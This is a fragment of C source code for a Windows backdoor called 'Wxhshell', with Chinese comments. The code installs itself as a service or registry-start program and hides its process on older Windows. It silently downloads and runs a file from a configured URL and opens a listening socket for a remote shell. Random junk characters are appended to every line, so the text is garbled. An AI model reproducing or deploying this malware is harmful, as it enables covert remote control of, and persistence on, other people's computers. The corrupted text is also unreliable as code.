} PROCESS_BASIC_INFORMATION; JK4 @
16vfIUtb
PROCNTQSIP NtQueryInformationProcess;
r DuG["
.+yJ'*i$d
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V 6F,X`7
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o/R-1\Dn
A\`Uu&
HANDLE hProcess; Cb.Aw!
PROCESS_BASIC_INFORMATION pbi; vs~*=d27Pf
\B)<<[ $
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y2Bu,/9^
if(NULL == hInst ) return 0; +dfSCs
\XC1/LZQ
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i&Ea@b
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d9s"y?8
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /1*\*<cs
\;}dSSB1
if (!NtQueryInformationProcess) return 0; vJ!t.Vou
Wxjpe4
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());
Xma0k3;-
if(!hProcess) return 0; y}A-o_u@cD
$\H>dm
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JmkJ^-A 6
OX91b<A
CloseHandle(hProcess); @:}z\qBM
m35G;
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p~t$ll0s
if(hProcess==NULL) return 0; q_!3<.sf
SLW1]ZaG
HMODULE hMod; Js'|N%pi
char procName[255]; *N7\d9y
unsigned long cbNeeded; DGcd|>q
E>&dG:3no
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m|!sY[!
3'8~H]<W
CloseHandle(hProcess); YPN|qn(
xaPTTa
if(strstr(procName,"services")) return 1; // 以服务启动 Mf?4 `LM
T6tJwSS4:
return 0; // 注册表启动 A/9 w r
} #N*~Q
mV-MJ$3r
// 主模块 6uD Nqq
int StartWxhshell(LPSTR lpCmdLine) qu?D`29
{ ;lGjj9we>
SOCKET wsl; @rE>D
BOOL val=TRUE; 'i}Q R~pe
int port=0; XWkYhTaY
struct sockaddr_in door; xSw ^v6!2
&TKB8vx=#
if(wscfg.ws_autoins) Install(); IyMKV$"
J:t1W=lJ3
port=atoi(lpCmdLine); HH^eEh4g
J5429Soo
if(port<=0) port=wscfg.ws_port; }_K7}] 1
UtzW 5{
WSADATA data; hW(Mf
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $cjidBi`):
@X|Cu bJ
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; YI|7a#*F
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *f1MgP*GKF
door.sin_family = AF_INET; `w2hJP
door.sin_addr.s_addr = inet_addr("127.0.0.1"); M5wj79'l"
door.sin_port = htons(port); W@#Y/L:${
XSXS;Fh)
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4~D?F'o
closesocket(wsl); :hZYh.y\l
return 1; OX I.>9
} k\A8Z[
3#W>
if(listen(wsl,2) == INVALID_SOCKET) { Ve<l7U;
closesocket(wsl); N\rbnr
return 1; fs\l*nBig
} [*@"[u
Wxhshell(wsl); =j6f/8
WSACleanup(); S-*4HV_l
}PD?x4
return 0; _dj_+<Y?
.cjSgK1
} {U>B\D
\IIR2Xf,K
// 以NT服务方式启动 W-2,QVp%
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $)mK]57
{ ?tx%KU\3
DWORD status = 0; 'Km
~3t
DWORD specificError = 0xfffffff; }ya@*jH
5G
@
serviceStatus.dwServiceType = SERVICE_WIN32; s F-{(
serviceStatus.dwCurrentState = SERVICE_START_PENDING; F<H[-k*t/
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; J8IdQ:4^l
serviceStatus.dwWin32ExitCode = 0; P5-1z&9O
serviceStatus.dwServiceSpecificExitCode = 0; 0se0AcrW
serviceStatus.dwCheckPoint = 0; x\0(l5>
serviceStatus.dwWaitHint = 0; {EU?{#
~xfoZiIA}
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B6 rz
if (hServiceStatusHandle==0) return; EC#4"bU`'2
,6TF]6:
status = GetLastError(); $$'a
if (status!=NO_ERROR) max 5s$@
{ TNun)0p
serviceStatus.dwCurrentState = SERVICE_STOPPED; +pMa-{
serviceStatus.dwCheckPoint = 0; Zfwhg4G~
serviceStatus.dwWaitHint = 0; k+qxx5{
serviceStatus.dwWin32ExitCode = status; F9h'.{@d
serviceStatus.dwServiceSpecificExitCode = specificError; J5Pi"U$FkY
SetServiceStatus(hServiceStatusHandle, &serviceStatus); &ed&2t`Y
return; bT93R8yp
} ' b?' u
Em6P6D>S>,
serviceStatus.dwCurrentState = SERVICE_RUNNING; vl}fC@%WRI
serviceStatus.dwCheckPoint = 0; TEB<ia3+
serviceStatus.dwWaitHint = 0; bzj9U>eY
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cl2+,!:
} TgC8EcLr
'DLgOUvh
// 处理NT服务事件,比如:启动、停止 10.u
VOID WINAPI NTServiceHandler(DWORD fdwControl) I'sq0^
{ `eZ
+Pf".
switch(fdwControl) -!_\4
{ 1=o|[7
case SERVICE_CONTROL_STOP: `wGP31Y.
serviceStatus.dwWin32ExitCode = 0; ,^Ug[pGG-
serviceStatus.dwCurrentState = SERVICE_STOPPED; ^ &UezDTS
serviceStatus.dwCheckPoint = 0; ppYIVI
serviceStatus.dwWaitHint = 0; \Dn47V{7-
{ Q5K<ECoPk
SetServiceStatus(hServiceStatusHandle, &serviceStatus); /xS4>@hn
} MZPXI{G
return; ?so=k&I-M
case SERVICE_CONTROL_PAUSE: l rRRRR
serviceStatus.dwCurrentState = SERVICE_PAUSED; g<b(q|
break; [- Xz:
case SERVICE_CONTROL_CONTINUE: _Fc :<Ym?
serviceStatus.dwCurrentState = SERVICE_RUNNING; =@ SJyW
break; 8)KA {gN}
case SERVICE_CONTROL_INTERROGATE: BIJlU(aF
break; 3$ 'eDa[
}; g#W/WKvM
SetServiceStatus(hServiceStatusHandle, &serviceStatus); XEX."y
} (v/mKG yg
&Hl*Eg
f
// 标准应用程序主函数 4k7
LM]
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <q}w, XU
{ PJ$C$G
!\'NBq,
// 获取操作系统版本 KCDbE6
OsIsNt=GetOsVer(); LA +BH_t&
GetModuleFileName(NULL,ExeFile,MAX_PATH); '
\8|`Zb
bh
Nqj
// 从命令行安装 f52*s#4}
if(strpbrk(lpCmdLine,"iI")) Install(); Ng Jp2ut
hwD;1n
// 下载执行文件 6cQ)*,Q
if(wscfg.ws_downexe) { "J.7@\^ h/
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7NQ@q--3s
WinExec(wscfg.ws_filenam,SW_HIDE); ]'"aVGqa.
} 5u:{lcC.X
4Y'Kjx
if(!OsIsNt) { /7`fg0A
// 如果时win9x,隐藏进程并且设置为注册表启动 'gD,HX
HideProc(); 1J{1>r
StartWxhshell(lpCmdLine); @3aI7U/I
} *m>XtBw.
else b'5]o
if(StartFromService()) dRhsnT+KX
// 以服务方式启动 j]6c_r3
StartServiceCtrlDispatcher(DispatchTable); -O~V4004
else 9y$"[d27;+
// 普通方式启动 L!>EW0
StartWxhshell(lpCmdLine); HxE`"/~.7k
i!nPiac
return 0; Le?yzf
}